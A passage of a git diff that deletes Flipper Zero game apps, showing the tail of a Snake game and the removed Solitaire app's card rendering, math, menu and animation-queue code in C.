// | - // | - // y - case DirectionUp: - next_step.y--; - break; - case DirectionRight: - next_step.x++; - break; - case DirectionDown: - next_step.y++; - break; - case DirectionLeft: - next_step.x--; - break; - } - return next_step; -} - -static void snake_game_move_snake(SnakeState* const snake_state, Point const next_step) { - memmove(snake_state->points + 1, snake_state->points, snake_state->len * sizeof(Point)); - snake_state->points[0] = next_step; -} - -static void - snake_game_process_game_step(SnakeState* const snake_state, NotificationApp* notification) { - if(snake_state->state == GameStateGameOver) { - return; - } - - snake_state->currentMovement = snake_game_get_turn_snake(snake_state); - - Point next_step = snake_game_get_next_step(snake_state); - - bool crush = snake_game_collision_with_frame(next_step); - if(crush) { - if(snake_state->state == GameStateLife) { - snake_state->state = GameStateLastChance; - return; - } else if(snake_state->state == GameStateLastChance) { - snake_state->state = GameStateGameOver; - notification_message_block(notification, &sequence_fail); - return; - } - } else { - if(snake_state->state == GameStateLastChance) { - snake_state->state = GameStateLife; - } - } - - crush = snake_game_collision_with_tail(snake_state, next_step); - if(crush) { - snake_state->state = GameStateGameOver; - notification_message_block(notification, &sequence_fail); - return; - } - - bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); - if(eatFruit) { - snake_state->len++; - if(snake_state->len >= MAX_SNAKE_LEN) { - snake_state->state = GameStateGameOver; - notification_message_block(notification, &sequence_fail); - return; - } - } - - snake_game_move_snake(snake_state, next_step); - - if(eatFruit) { - snake_state->fruit = snake_game_get_new_fruit(snake_state); - notification_message(notification, &sequence_eat); - } -} - -int32_t snake_game_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SnakeEvent)); - - SnakeState* snake_state = malloc(sizeof(SnakeState)); - snake_game_init_game(snake_state); - - snake_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - if(!snake_state->mutex) { - FURI_LOG_E("SnakeGame", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(snake_state); - return 255; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, snake_game_render_callback, snake_state); - view_port_input_callback_set(view_port, snake_game_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(snake_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 4); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - notification_message_block(notification, &sequence_display_backlight_enforce_on); - - dolphin_deed(DolphinDeedPluginGameStart); - - SnakeEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(snake_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - snake_state->nextMovement = DirectionUp; - break; - case InputKeyDown: - snake_state->nextMovement = DirectionDown; - break; - case InputKeyRight: - snake_state->nextMovement = DirectionRight; - break; - case InputKeyLeft: - snake_state->nextMovement = DirectionLeft; - break; - case InputKeyOk: - if(snake_state->state == GameStateGameOver) { - snake_game_init_game(snake_state); - } - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - snake_game_process_game_step(snake_state, notification); - } - } else { - // event timeout - } - - view_port_update(view_port); - furi_mutex_release(snake_state->mutex); - } - - // Return backlight to normal state - notification_message(notification, &sequence_display_backlight_enforce_auto); - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(snake_state->mutex); - free(snake_state); - - return 0; -} diff --git a/applications/external/solitaire/application.fam b/applications/external/solitaire/application.fam deleted file mode 100644 index 99278ce25..000000000 --- a/applications/external/solitaire/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="solitaire", - name="Solitaire", - apptype=FlipperAppType.EXTERNAL, - entry_point="solitaire_app", - requires=["gui","storage","canvas"], - stack_size=2 * 1024, - order=30, - fap_icon="solitaire_10px.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@teeebor", - fap_version="1.0", - fap_description="Solitaire game", -) \ No newline at end of file diff --git a/applications/external/solitaire/assets/card_graphics.png b/applications/external/solitaire/assets/card_graphics.png deleted file mode 100644 index 8b00e351f..000000000 Binary files a/applications/external/solitaire/assets/card_graphics.png and /dev/null differ diff --git a/applications/external/solitaire/assets/solitaire_main.png b/applications/external/solitaire/assets/solitaire_main.png deleted file mode 100644 index 996556d57..000000000 Binary files a/applications/external/solitaire/assets/solitaire_main.png and /dev/null differ diff --git a/applications/external/solitaire/common/card.c b/applications/external/solitaire/common/card.c deleted file mode 100644 index 199135bb5..000000000 --- a/applications/external/solitaire/common/card.c +++ /dev/null @@ -1,353 +0,0 @@ -#include "card.h" -#include "dml.h" -#include "ui.h" - -#define CARD_DRAW_X_START 108 -#define CARD_DRAW_Y_START 38 -#define CARD_DRAW_X_SPACE 10 -#define CARD_DRAW_Y_SPACE 8 -#define CARD_DRAW_X_OFFSET 4 -#define CARD_DRAW_FIRST_ROW_LENGTH 7 - -uint8_t pips[4][3] = { - {21, 10, 7}, //spades - {7, 10, 7}, //hearts - {0, 10, 7}, //diamonds - {14, 10, 7}, //clubs -}; -uint8_t letters[13][3] = { - {0, 0, 5}, - {5, 0, 5}, - {10, 0, 5}, - {15, 0, 5}, - {20, 0, 5}, - {25, 0, 5}, - {30, 0, 5}, - {0, 5, 5}, - {5, 5, 5}, - {10, 5, 5}, - {15, 5, 5}, - {20, 5, 5}, - {25, 5, 5}, -}; - -//region Player card positions -uint8_t playerCardPositions[22][4] = { - //first row - {108, 38}, - {98, 38}, - {88, 38}, - {78, 38}, - {68, 38}, - {58, 38}, - {48, 38}, - {38, 38}, - //second row - {104, 26}, - {94, 26}, - {84, 26}, - {74, 26}, - {64, 26}, - {54, 26}, - {44, 26}, - //third row - {99, 14}, - {89, 14}, - {79, 14}, - {69, 14}, - {59, 14}, - {49, 14}, -}; -//endregion -Icon* card_graphics = NULL; - -void set_card_graphics(const Icon* graphics) { - card_graphics = (Icon*)graphics; -} - -void draw_card_at_colored( - int8_t pos_x, - int8_t pos_y, - uint8_t pip, - uint8_t character, - bool inverted, - Canvas* const canvas) { - DrawMode primary = inverted ? Black : White; - DrawMode secondary = inverted ? White : Black; - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, primary); - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - - uint8_t* drawInfo = pips[pip]; - uint8_t px = drawInfo[0], py = drawInfo[1], s = drawInfo[2]; - - uint8_t left = pos_x + 2; - uint8_t right = (pos_x + CARD_WIDTH - s - 2); - uint8_t top = pos_y + 2; - uint8_t bottom = (pos_y + CARD_HEIGHT - s - 2); - - draw_icon_clip(canvas, card_graphics, right, top, px, py, s, s, secondary); - draw_icon_clip_flipped(canvas, card_graphics, left, bottom, px, py, s, s, secondary); - - drawInfo = letters[character]; - px = drawInfo[0], py = drawInfo[1], s = drawInfo[2]; - left = pos_x + 2; - right = (pos_x + CARD_WIDTH - s - 2); - top = pos_y + 2; - bottom = (pos_y + CARD_HEIGHT - s - 2); - - draw_icon_clip(canvas, card_graphics, left, top + 1, px, py, s, s, secondary); - draw_icon_clip_flipped(canvas, card_graphics, right, bottom - 1, px, py, s, s, secondary); -} - -void draw_card_at(int8_t pos_x, int8_t pos_y, uint8_t pip, uint8_t character, Canvas* const canvas) { - draw_card_at_colored(pos_x, pos_y, pip, character, false, canvas); -} - -void draw_deck(const Card* cards, uint8_t count, Canvas* const canvas) { - for(int i = count - 1; i >= 0; i--) { - draw_card_at( - playerCardPositions[i][0], - playerCardPositions[i][1], - cards[i].pip, - cards[i].character, - canvas); - } -} - -Vector card_pos_at_index(uint8_t index) { - return (Vector){playerCardPositions[index][0], playerCardPositions[index][1]}; -} - -void draw_card_back_at(int8_t pos_x, int8_t pos_y, Canvas* const canvas) { - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, White); - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - - draw_icon_clip(canvas, card_graphics, pos_x + 1, pos_y + 1, 35, 0, 15, 21, Black); -} - -void generate_deck(Deck* deck_ptr, uint8_t deck_count) { - uint16_t counter = 0; - if(deck_ptr->cards != NULL) { - free(deck_ptr->cards); - } - - deck_ptr->deck_count = deck_count; - deck_ptr->card_count = deck_count * 52; - deck_ptr->cards = malloc(sizeof(Card) * deck_ptr->card_count); - - for(uint8_t deck = 0; deck < deck_count; deck++) { - for(uint8_t pip = 0; pip < 4; pip++) { - for(uint8_t label = 0; label < 13; label++) { - deck_ptr->cards[counter] = (Card){pip, label, false, false}; - counter++; - } - } - } -} - -void shuffle_deck(Deck* deck_ptr) { - srand(DWT->CYCCNT); - deck_ptr->index = 0; - int max = deck_ptr->deck_count * 52; - for(int i = 0; i < max; i++) { - int r = i + (rand() % (max - i)); - Card tmp = deck_ptr->cards[i]; - deck_ptr->cards[i] = deck_ptr->cards[r]; - deck_ptr->cards[r] = tmp; - } -} - -uint8_t hand_count(const Card* cards, uint8_t count) { - uint8_t aceCount = 0; - uint8_t score = 0; - - for(uint8_t i = 0; i < count; i++) { - if(cards[i].character == 12) - aceCount++; - else { - if(cards[i].character > 8) - score += 10; - else - score += cards[i].character + 2; - } - } - - for(uint8_t i = 0; i < aceCount; i++) { - if((score + 11) <= 21) - score += 11; - else - score++; - } - - return score; -} - -void draw_card_animation( - Card animatingCard, - Vector from, - Vector control, - Vector to, - float t, - bool extra_margin, - Canvas* const canvas) { - float time = t; - if(extra_margin) { - time += 0.2; - } - - Vector currentPos = quadratic_2d(from, control, to, time); - if(t > 1) { - draw_card_at( - currentPos.x, currentPos.y, animatingCard.pip, animatingCard.character, canvas); - } else { - if(t < 0.5) - draw_card_back_at(currentPos.x, currentPos.y, canvas); - else - draw_card_at( - currentPos.x, currentPos.y, animatingCard.pip, animatingCard.character, canvas); - } -} - -void init_hand(Hand* hand_ptr, uint8_t count) { - hand_ptr->cards = malloc(sizeof(Card) * count); - hand_ptr->index = 0; - hand_ptr->max = count; -} - -void free_hand(Hand* hand_ptr) { - FURI_LOG_D("CARD", "Freeing hand"); - free(hand_ptr->cards); -} - -void add_to_hand(Hand* hand_ptr, Card card) { - FURI_LOG_D("CARD", "Adding to hand"); - if(hand_ptr->index < hand_ptr->max) { - hand_ptr->cards[hand_ptr->index] = card; - hand_ptr->index++; - } -} - -void draw_card_space(int16_t pos_x, int16_t pos_y, bool highlighted, Canvas* const canvas) { - if(highlighted) { - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - draw_rounded_box_frame( - canvas, pos_x + 2, pos_y + 2, CARD_WIDTH - 4, CARD_HEIGHT - 4, White); - } else { - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - draw_rounded_box_frame( - canvas, pos_x + 2, pos_y + 2, CARD_WIDTH - 4, CARD_HEIGHT - 4, White); - } -} - -int first_non_flipped_card(Hand hand) { - for(int i = 0; i < hand.index; i++) { - if(!hand.cards[i].flipped) { - return i; - } - } - return hand.index; -} - -void draw_hand_column( - Hand hand, - int16_t pos_x, - int16_t pos_y, - int8_t highlight, - Canvas* const canvas) { - if(hand.index == 0) { - draw_card_space(pos_x, pos_y, highlight > 0, canvas); - if(highlight == 0) - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Inverse); - return; - } - - int loopEnd = hand.index; - int hStart = max(loopEnd - 4, 0); - int pos = 0; - int first = first_non_flipped_card(hand); - bool wastop = false; - if(first >= 0 && first <= hStart && highlight != first) { - if(first > 0) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - pos += 4; - hStart++; - wastop = true; - } - draw_card_at_colored( - pos_x, pos_y + pos, hand.cards[first].pip, hand.cards[first].character, false, canvas); - pos += 8; - hStart++; - } - if(hStart > highlight && highlight >= 0) { - if(!wastop && first > 0) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - pos += 4; - hStart++; - } - draw_card_at_colored( - pos_x, - pos_y + pos, - hand.cards[highlight].pip, - hand.cards[highlight].character, - true, - canvas); - pos += 8; - hStart++; - } - for(int i = hStart; i < loopEnd; i++, pos += 4) { - if(hand.cards[i].flipped) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - if(i == highlight) - draw_rounded_box( - canvas, pos_x + 1, pos_y + pos + 1, CARD_WIDTH - 2, CARD_HEIGHT - 2, Inverse); - } else { - draw_card_at_colored( - pos_x, - pos_y + pos, - hand.cards[i].pip, - hand.cards[i].character, - (i == highlight), - canvas); - if(i == highlight || i == first) pos += 4; - } - } -} - -Card remove_from_deck(uint16_t index, Deck* deck) { - FURI_LOG_D("CARD", "Removing from deck"); - Card result = {0, 0, true, false}; - if(deck->card_count > 0) { - deck->card_count--; - for(int i = 0, curr_index = 0; i <= deck->card_count; i++) { - if(i != index) { - deck->cards[curr_index] = deck->cards[i]; - curr_index++; - } else { - result = deck->cards[i]; - } - } - if(deck->index >= 0) { - deck->index--; - } - } - return result; -} - -void extract_hand_region(Hand* hand, Hand* to, uint8_t start_index) { - FURI_LOG_D("CARD", "Extracting hand region"); - if(start_index >= hand->index) return; - - for(uint8_t i = start_index; i < hand->index; i++) { - add_to_hand(to, hand->cards[i]); - } - hand->index = start_index; -} - -void add_hand_region(Hand* to, Hand* from) { - FURI_LOG_D("CARD", "Adding hand region"); - if((to->index + from->index) <= to->max) { - for(int i = 0; i < from->index; i++) { - add_to_hand(to, from->cards[i]); - } - } -} \ No newline at end of file diff --git a/applications/external/solitaire/common/card.h b/applications/external/solitaire/common/card.h deleted file mode 100644 index 8e5e23bbf..000000000 --- a/applications/external/solitaire/common/card.h +++ /dev/null @@ -1,192 +0,0 @@ -#pragma once - -#include -#include -#include -#include "dml.h" - -#define CARD_HEIGHT 23 -#define CARD_HALF_HEIGHT 11 -#define CARD_WIDTH 17 -#define CARD_HALF_WIDTH 8 - -//region types -typedef struct { - uint8_t pip; //Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - uint8_t character; //Card letter [0-12], 0 means 2, 12 is Ace - bool disabled; - bool flipped; -} Card; - -typedef struct { - uint8_t deck_count; //Number of decks used - Card* cards; //Cards in the deck - int card_count; - int index; //Card index (to know where we at in the deck) -} Deck; - -typedef struct { - Card* cards; //Cards in the deck - uint8_t index; //Current index - uint8_t max; //How many cards we want to store -} Hand; -//endregion - -void set_card_graphics(const Icon* graphics); - -/** - * Gets card coordinates at the index (range: 0-20). - * - * @param index Index to check 0-20 - * @return Position of the card - */ -Vector card_pos_at_index(uint8_t index); - -/** - * Draws card at a given coordinate (top-left corner) - * - * @param pos_x X position - * @param pos_y Y position - * @param pip Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - * @param character Letter [0-12] 0 is 2, 12 is A - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_at(int8_t pos_x, int8_t pos_y, uint8_t pip, uint8_t character, Canvas* const canvas); - -/** - * Draws card at a given coordinate (top-left corner) - * - * @param pos_x X position - * @param pos_y Y position - * @param pip Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - * @param character Letter [0-12] 0 is 2, 12 is A - * @param inverted Invert colors - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_at_colored( - int8_t pos_x, - int8_t pos_y, - uint8_t pip, - uint8_t character, - bool inverted, - Canvas* const canvas); - -/** - * Draws 'count' cards at the bottom right corner - * - * @param cards List of cards - * @param count Count of cards - * @param canvas Pointer to Flipper's canvas object - */ -void draw_deck(const Card* cards, uint8_t count, Canvas* const canvas); - -/** - * Draws card back at a given coordinate (top-left corner) - * - * @param pos_x X coordinate - * @param pos_y Y coordinate - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_back_at(int8_t pos_x, int8_t pos_y, Canvas* const canvas); - -/** - * Generates the deck - * - * @param deck_ptr Pointer to the deck - * @param deck_count Number of decks - */ -void generate_deck(Deck* deck_ptr, uint8_t deck_count); - -/** - * Shuffles the deck - * - * @param deck_ptr Pointer to the deck - */ -void shuffle_deck(Deck* deck_ptr); - -/** - * Calculates the hand count for blackjack - * - * @param cards List of cards - * @param count Count of cards - * @return Hand value - */ -uint8_t hand_count(const Card* cards, uint8_t count); - -/** - * Draws card animation - * - * @param animatingCard Card to animate - * @param from Starting position - * @param control Quadratic lerp control point - * @param to End point - * @param t Current time (0-1) - * @param extra_margin Use extra margin at the end (arrives 0.2 unit before the end so it can stay there a bit) - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_animation( - Card animatingCard, - Vector from, - Vector control, - Vector to, - float t, - bool extra_margin, - Canvas* const canvas); - -/** - * Init hand pointer - * @param hand_ptr Pointer to hand - * @param count Number of cards we want to store - */ -void init_hand(Hand* hand_ptr, uint8_t count); - -/** - * Free hand resources - * @param hand_ptr Pointer to hand - */ -void free_hand(Hand* hand_ptr); - -/** - * Add card to hand - * @param hand_ptr Pointer to hand - * @param card Card to add - */ -void add_to_hand(Hand* hand_ptr, Card card); - -/** - * Draw card placement position at coordinate - * @param pos_x X coordinate - * @param pos_y Y coordinate - * @param highlighted Apply highlight effect - * @param canvas Canvas object - */ -void draw_card_space(int16_t pos_x, int16_t pos_y, bool highlighted, Canvas* const canvas); - -/** - * Draws a column of card, displaying the last [max_cards] cards on the list - * @param hand Hand object - * @param pos_x X coordinate to draw - * @param pos_y Y coordinate to draw - * @param highlight Index to highlight, negative means no highlight - * @param canvas Canvas object - */ -void draw_hand_column( - Hand hand, - int16_t pos_x, - int16_t pos_y, - int8_t highlight, - Canvas* const canvas); - -/** - * Removes a card from the deck (Be aware, if you remove the first item, the deck index will be at -1 so you have to handle that) - * @param index Index to remove - * @param deck Deck reference - * @return The removed card - */ -Card remove_from_deck(uint16_t index, Deck* deck); - -int first_non_flipped_card(Hand hand); - -void extract_hand_region(Hand* hand, Hand* to, uint8_t start_index); - -void add_hand_region(Hand* to, Hand* from); \ No newline at end of file diff --git a/applications/external/solitaire/common/dml.c b/applications/external/solitaire/common/dml.c deleted file mode 100644 index b9a0e395f..000000000 --- a/applications/external/solitaire/common/dml.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "dml.h" -#include - -float lerp(float v0, float v1, float t) { - if(t > 1) return v1; - return (1 - t) * v0 + t * v1; -} - -Vector lerp_2d(Vector start, Vector end, float t) { - return (Vector){ - lerp(start.x, end.x, t), - lerp(start.y, end.y, t), - }; -} - -Vector quadratic_2d(Vector start, Vector control, Vector end, float t) { - return lerp_2d(lerp_2d(start, control, t), lerp_2d(control, end, t), t); -} - -Vector vector_add(Vector a, Vector b) { - return (Vector){a.x + b.x, a.y + b.y}; -} - -Vector vector_sub(Vector a, Vector b) { - return (Vector){a.x - b.x, a.y - b.y}; -} - -Vector vector_mul_components(Vector a, Vector b) { - return (Vector){a.x * b.x, a.y * b.y}; -} - -Vector vector_div_components(Vector a, Vector b) { - return (Vector){a.x / b.x, a.y / b.y}; -} - -Vector vector_normalized(Vector a) { - float length = vector_magnitude(a); - return (Vector){a.x / length, a.y / length}; -} - -float vector_magnitude(Vector a) { - return sqrt(a.x * a.x + a.y * a.y); -} - -float vector_distance(Vector a, Vector b) { - return vector_magnitude(vector_sub(a, b)); -} - -float vector_dot(Vector a, Vector b) { - Vector _a = vector_normalized(a); - Vector _b = vector_normalized(b); - return _a.x * _b.x + _a.y * _b.y; -} \ No newline at end of file diff --git a/applications/external/solitaire/common/dml.h b/applications/external/solitaire/common/dml.h deleted file mode 100644 index 0e1a23e23..000000000 --- a/applications/external/solitaire/common/dml.h +++ /dev/null @@ -1,116 +0,0 @@ -// -// Doofy's Math library -// - -#pragma once - -typedef struct { - float x; - float y; -} Vector; - -#define min(a, b) ((a) < (b) ? (a) : (b)) -#define max(a, b) ((a) > (b) ? (a) : (b)) -#define abs(x) ((x) > 0 ? (x) : -(x)) - -/** - * Lerp function - * - * @param v0 Start value - * @param v1 End value - * @param t Time (0-1 range) - * @return Point between v0-v1 at a given time - */ -float lerp(float v0, float v1, float t); - -/** - * 2D lerp function - * - * @param start Start vector - * @param end End vector - * @param t Time (0-1 range) - * @return 2d Vector between start and end at time - */ -Vector lerp_2d(Vector start, Vector end, float t); - -/** - * Quadratic lerp function - * - * @param start Start vector - * @param control Control point - * @param end End vector - * @param t Time (0-1 range) - * @return 2d Vector at time - */ -Vector quadratic_2d(Vector start, Vector control, Vector end, float t); - -/** - * Add vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_add(Vector a, Vector b); - -/** - * Subtract vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_sub(Vector a, Vector b); - -/** - * Multiplying vector components together - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_mul_components(Vector a, Vector b); - -/** - * Dividing vector components - * - * @param a First vector - * @param b Second vector - * @return Resulting vector - */ -Vector vector_div_components(Vector a, Vector b); - -/** - * Calculating Vector length - * - * @param a Direction vector - * @return Length of the vector - */ -float vector_magnitude(Vector a); - -/** - * Get a normalized vector (length of 1) - * - * @param a Direction vector - * @return Normalized vector - */ -Vector vector_normalized(Vector a); - -/** - * Calculate two vector's distance - * - * @param a First vector - * @param b Second vector - * @return Distance between vectors - */ -float vector_distance(Vector a, Vector b); - -/** - * Calculate the dot product of the vectors. - * No need to normalize, it will do it - * - * @param a First vector - * @param b Second vector - * @return value from -1 to 1 - */ -float vector_dot(Vector a, Vector b); diff --git a/applications/external/solitaire/common/menu.c b/applications/external/solitaire/common/menu.c deleted file mode 100644 index ffc3921b7..000000000 --- a/applications/external/solitaire/common/menu.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "menu.h" - -void add_menu(Menu* menu, const char* name, void (*callback)(void*)) { - MenuItem* items = menu->items; - - menu->items = malloc(sizeof(MenuItem) * (menu->menu_count + 1)); - for(uint8_t i = 0; i < menu->menu_count; i++) { - menu->items[i] = items[i]; - } - free(items); - - menu->items[menu->menu_count] = (MenuItem){name, true, callback}; - menu->menu_count++; -} - -void free_menu(Menu* menu) { - free(menu->items); - free(menu); -} - -void set_menu_state(Menu* menu, uint8_t index, bool state) { - if(menu->menu_count > index) { - menu->items[index].enabled = state; - } - if(!state && menu->current_menu == index) move_menu(menu, 1); -} - -void move_menu(Menu* menu, int8_t direction) { - if(!menu->enabled) return; - int max = menu->menu_count; - for(int8_t i = 0; i < max; i++) { - FURI_LOG_D( - "MENU", - "Iteration %i, current %i, direction %i, state %i", - i, - menu->current_menu, - direction, - menu->items[menu->current_menu].enabled ? 1 : 0); - if(direction < 0 && menu->current_menu == 0) { - menu->current_menu = menu->menu_count - 1; - } else { - menu->current_menu = (menu->current_menu + direction) % menu->menu_count; - } - FURI_LOG_D( - "MENU", - "After process current %i, direction %i, state %i", - menu->current_menu, - direction, - menu->items[menu->current_menu].enabled ? 1 : 0); - if(menu->items[menu->current_menu].enabled) { - FURI_LOG_D("MENU", "Next menu %i", menu->current_menu); - return; - } - } - FURI_LOG_D("MENU", "Not found, setting false"); - menu->enabled = false; -} - -void activate_menu(Menu* menu, void* state) { - if(!menu->enabled) return; - menu->items[menu->current_menu].callback(state); -} - -void render_menu(Menu* menu, Canvas* canvas, uint8_t pos_x, uint8_t pos_y) { - if(!menu->enabled) return; - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, pos_x, pos_y, menu->menu_width + 2, 10, 2); - - uint8_t w = pos_x + menu->menu_width; - uint8_t h = pos_y + 10; - uint8_t p1x = pos_x + 2; - uint8_t p2x = pos_x + menu->menu_width - 2; - uint8_t p1y = pos_y + 2; - uint8_t p2y = pos_y + 8; - - canvas_set_color(canvas, ColorBlack); - canvas_draw_line(canvas, p1x, pos_y, p2x, pos_y); - canvas_draw_line(canvas, p1x, h, p2x, h); - canvas_draw_line(canvas, pos_x, p1y, pos_x, p2y); - canvas_draw_line(canvas, w, p1y, w, p2y); - canvas_draw_dot(canvas, pos_x + 1, pos_y + 1); - canvas_draw_dot(canvas, w - 1, pos_y + 1); - canvas_draw_dot(canvas, w - 1, h - 1); - canvas_draw_dot(canvas, pos_x + 1, h - 1); - - // canvas_draw_rbox(canvas, pos_x, pos_y, menu->menu_width + 2, 10, 2); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, - pos_x + menu->menu_width / 2, - pos_y + 6, - AlignCenter, - AlignCenter, - menu->items[menu->current_menu].name); - //9*5 - int center = pos_x + menu->menu_width / 2; - for(uint8_t i = 0; i < 4; i++) { - for(int8_t j = -i; j <= i; j++) { - canvas_draw_dot(canvas, center + j, pos_y - 4 + i); - canvas_draw_dot(canvas, center + j, pos_y + 14 - i); - } - } -} \ No newline at end of file diff --git a/applications/external/solitaire/common/menu.h b/applications/external/solitaire/common/menu.h deleted file mode 100644 index 9f2852522..000000000 --- a/applications/external/solitaire/common/menu.h +++ /dev/null @@ -1,77 +0,0 @@ -#pragma once - -#include -#include - -typedef struct { - const char* name; //Name of the menu - bool enabled; //Is the menu item enabled (it will not render, you cannot select it) - - void (*callback)( - void* state); //Callback for when the activate_menu is called while this menu is selected -} MenuItem; - -typedef struct { - MenuItem* items; //list of menu items - uint8_t menu_count; //count of menu items (do not change) - uint8_t current_menu; //currently selected menu item - uint8_t menu_width; //width of the menu - bool enabled; //is the menu enabled (it will not render and accept events when disabled) -} Menu; - -/** - * Cleans up the pointers used by the menu - * - * @param menu Pointer of the menu to clean up - */ -void free_menu(Menu* menu); - -/** - * Add a new menu item - * - * @param menu Pointer of the menu - * @param name Name of the menu item - * @param callback Callback called on activation - */ -void add_menu(Menu* menu, const char* name, void (*callback)(void*)); - -/** - * Setting menu item to be enabled/disabled - * - * @param menu Pointer of the menu - * @param index Menu index to set - * @param state Enabled (true), Disabled(false) - */ -void set_menu_state(Menu* menu, uint8_t index, bool state); - -/** - * Moves selection up or down - * - * @param menu Pointer of the menu - * @param direction Direction to move -1 down, 1 up - */ -void move_menu(Menu* menu, int8_t direction); - -/** - * Triggers the current menu callback - * - * @param menu Pointer of the menu - * @param state Usually your application state - */ -void activate_menu(Menu* menu, void* state); - -/** - * Renders the menu at a coordinate (call it in your render function). - * - * Keep in mind that Flipper has a 128x64 pixel screen resolution and the coordinate - * you give is the menu's rectangle top-left corner (arrows not included). - * The rectangle height is 10 px, the arrows have a 4 pixel height. Space needed is 18px. - * The width of the menu can be configured in the menu object. - * - * - * @param menu Pointer of the menu - * @param canvas Flippers Canvas pointer - * @param pos_x X position to draw - * @param pos_y Y position to draw - */ -void render_menu(Menu* menu, Canvas* canvas, uint8_t pos_x, uint8_t pos_y); \ No newline at end of file diff --git a/applications/external/solitaire/common/queue.c b/applications/external/solitaire/common/queue.c deleted file mode 100644 index a80373460..000000000 --- a/applications/external/solitaire/common/queue.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "queue.h" - -void render_queue(const QueueState* queue_state, const void* app_state, Canvas* const canvas) { - if(queue_state->current != NULL && queue_state->current->render != NULL) - ((QueueItem*)queue_state->current)->render(app_state, canvas); -} - -bool run_queue(QueueState* queue_state, void* app_state) { - if(queue_state->current != NULL) { - queue_state->running = true; - if((furi_get_tick() - queue_state->start) >= queue_state->current->duration) - dequeue(queue_state, app_state); - - return true; - } - return false; -} - -void dequeue(QueueState* queue_state, void* app_state) { - ((QueueItem*)queue_state->current)->callback(app_state); - QueueItem* f = queue_state->current; - queue_state->current = f->next; - free(f); - if(queue_state->current != NULL) { - if(queue_state->current->start != NULL) queue_state->current->start(app_state); - queue_state->start = furi_get_tick(); - } else { - queue_state->running = false; - } -} - -void queue_clear(QueueState* queue_state) { - queue_state->running = false; - QueueItem* curr = queue_state->current; - while(curr != NULL) { - QueueItem* f = curr; - curr = curr->next; - free(f); - } -} - -void enqueue( - QueueState* queue_state, - void* app_state, - void (*done)(void* state), - void (*start)(void* state), - void (*render)(const void* state, Canvas* const canvas), - uint32_t duration) { - QueueItem* next; - if(queue_state->current == NULL) { - queue_state->start = furi_get_tick(); - queue_state->current = malloc(sizeof(QueueItem)); - next = queue_state->current; - if(next->start != NULL) next->start(app_state); - - } else { - next = queue_state->current; - while(next->next != NULL) { - next = (QueueItem*)(next->next); - } - next->next = malloc(sizeof(QueueItem)); - next = next->next; - } - next->callback = done; - next->render = render; - next->start = start; - next->duration = duration; - next->next = NULL; -} \ No newline at end of file diff --git a/applications/external/solitaire/common/queue.h b/applications/external/solitaire/common/queue.h deleted file mode 100644 index dcfe0c091..000000000 --- a/applications/external/solitaire/common/queue.h +++ /dev/null @@ -1,70 +0,0 @@ -#pragma once - -#include -#include - -typedef struct { - void (*callback)(void* state); //Callback for when the item is dequeued - void (*render)( - const void* state, - Canvas* const canvas); //Callback for the rendering loop while this item is running - void (*start)(void* state); //Callback when this item is started running - void* next; //Pointer to the next item - uint32_t duration; //duration of the item -} QueueItem; - -typedef struct { - unsigned int start; //current queue item start time - QueueItem* current; //current queue item - bool running; //is the queue running -} QueueState; - -/** - * Enqueue a new item. - * - * @param queue_state The queue state pointer - * @param app_state Your app state - * @param done Callback for dequeue event - * @param start Callback for when the item is activated - * @param render Callback to render loop if needed - * @param duration Length of the item - */ -void enqueue( - QueueState* queue_state, - void* app_state, - void (*done)(void* state), - void (*start)(void* state), - void (*render)(const void* state, Canvas* const canvas), - uint32_t duration); -/** - * 